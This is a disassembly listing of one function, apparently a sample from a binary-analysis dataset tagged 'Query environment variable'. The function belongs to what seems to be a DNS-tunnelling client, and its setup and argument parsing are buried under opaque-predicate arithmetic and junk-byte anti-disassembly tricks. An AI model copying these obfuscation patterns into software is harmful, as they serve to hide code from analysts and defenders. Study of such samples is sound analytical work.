Function at 0x4202cb
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x900
call dbg.__main
lea edx, [esp + 0x450]
mov ebx, 0x438560
mov eax, 0x4c
mov edi, edx
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x8fc], 0
mov dword [esp], 0
call dbg.ll_create
mov dword [esp + 0x8ec], eax
mov dword [esp + 0x8f8], 0
mov dword [esp + 0x8f4], 1
call dbg.select_group_create
mov dword [0x44406c], eax
call dbg.dns_get_system
mov dword [0x444074], eax
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sym._srand
call dbg.winsock_initialize
mov eax, dword [esp + 0x8f4]
mov dword [esp], eax
call dbg.log_set_min_console_level
mov dword [0x4386c8], 0
jmp 0x42df59
fild dword [esp + 0x8e8]
fstp qword [esp + 0x8d0]
xor eax, eax
je 0x42038a
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x8d0]
fstp qword [esp + 0x138]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x420476
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x420476
mov dword [esp + 0x128], 6
jmp 0x42057e
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42057d
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x138]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x128]
fldcw word [esp + 0x12e]
jmp 0x42057e
nop
mov edi, dword [esp + 0x128]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
jne 0x42df43
mov eax, dword [esp + 0x44c]
shl eax, 4
lea eax, [eax + 0x800]
lea eax, [eax + 0x100]
add eax, esp
sub eax, 0x4b0
mov eax, dword [eax]
mov dword [esp + 0x8e0], eax
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
shl eax, 2
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42092b
mov dword [esp + 4], str.help
mov eax, dword [esp + 0x8e0]
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x420691
mov dword [esp + 4], 0x43c972
mov eax, dword [esp + 0x8e0]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x42069e
mov dword [esp + 0x120], 1
jmp 0x4206a9
mov dword [esp + 0x120], 0
fild dword [esp + 0x120]
fstp qword [esp + 0x8c8]
xor eax, eax
je 0x4206bc
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x8c8]
fstp qword [esp + 0x140]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4207a8
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x4207a8
mov dword [esp + 0x11c], 6
jmp 0x4208b0
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4208af
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x140]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x11c]
fldcw word [esp + 0x12e]
jmp 0x4208b0
nop
mov edi, dword [esp + 0x11c]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x42092b
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [esp + 4], str.__help_requested
mov dword [esp], eax
call dbg.usage
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
sub eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
mov dword [esp + 4], str.version
mov eax, dword [esp + 0x8e0]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x4209a6
fld1
jmp 0x4209a8
fldz
fstp qword [esp + 0x8c0]
xor eax, eax
je 0x4209b4
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x8c0]
fstp qword [esp + 0x148]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x420aa0
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x420aa0
mov dword [esp + 0x118], 6
jmp 0x420ba8
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x420ba7
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x148]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x118]
fldcw word [esp + 0x12e]
jmp 0x420ba8
nop
mov edi, dword [esp + 0x118]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x420c1f
mov dword [esp], str.none_v0.01__client__n
call dbg.printf
mov dword [esp], 0
call sym._exit
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
shl eax, 3
sub eax, edx
add ebx, eax
call dbg.__9
movsx eax, al
sub ebx, eax
mov edx, ebx
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x8b8]
xor eax, eax
je 0x420cd9
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x8b8]
fstp qword [esp + 0x150]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x420dc5
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x420dc5
mov dword [esp + 0x114], 6
jmp 0x420ecd
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x420ecc
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x150]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x114]
fldcw word [esp + 0x12e]
jmp 0x420ecd
nop
mov edi, dword [esp + 0x114]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x42157b
fld qword [0x43cbe8]
fstp qword [esp + 0x8b0]
xor eax, eax
je 0x420f48
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x8b0]
fstp qword [esp + 0x158]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x421028
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x4210c4
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4210c3
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x158]
fstp st(0)
jmp 0x4210c4
nop
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x8a8]
xor eax, eax
je 0x42119c
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x8a8]
fstp qword [esp + 0x160]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x421285
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x421285
mov dword [esp + 0x6c], 6
jmp 0x42138a
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x421389
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x160]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x6c]
fldcw word [esp + 0x12e]
jmp 0x42138a
nop
mov edi, dword [esp + 0x6c]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x42df41
fld qword [0x43cbf0]
fstp qword [esp + 0x8a0]
xor eax, eax
je 0x4213fa
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x8a0]
fstp qword [esp + 0x168]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4214da
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x421576
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x421575
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x168]
fstp st(0)
jmp 0x421576
nop
jmp 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
mov dword [esp + 4], 0x43c9a2
mov eax, dword [esp + 0x8e0]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x4215f5
fld1
jmp 0x4215f7
fldz
fstp qword [esp + 0x898]
xor eax, eax
je 0x421603
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x898]
fstp qword [esp + 0x170]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4216ef
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x4216ef
mov dword [esp + 0x110], 6
jmp 0x4217f7
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4217f6
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x170]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x110]
fldcw word [esp + 0x12e]
jmp 0x4217f7
nop
mov edi, dword [esp + 0x110]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
shl eax, 2
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x421881
mov eax, dword [0x4440f4]
mov dword [esp], eax
call sym._atoi
mov word [esp + 0x8da], ax
movzx eax, word [esp + 0x8da]
mov dword [esp], eax
call dbg.debug_set_isn
jmp 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
shl eax, 2
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
shl eax, 3
add eax, edx
add ebx, eax
call dbg.__9
movsx eax, al
sub ebx, eax
mov edx, ebx
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x890]
xor eax, eax
je 0x42193c
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x890]
fstp qword [esp + 0x178]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
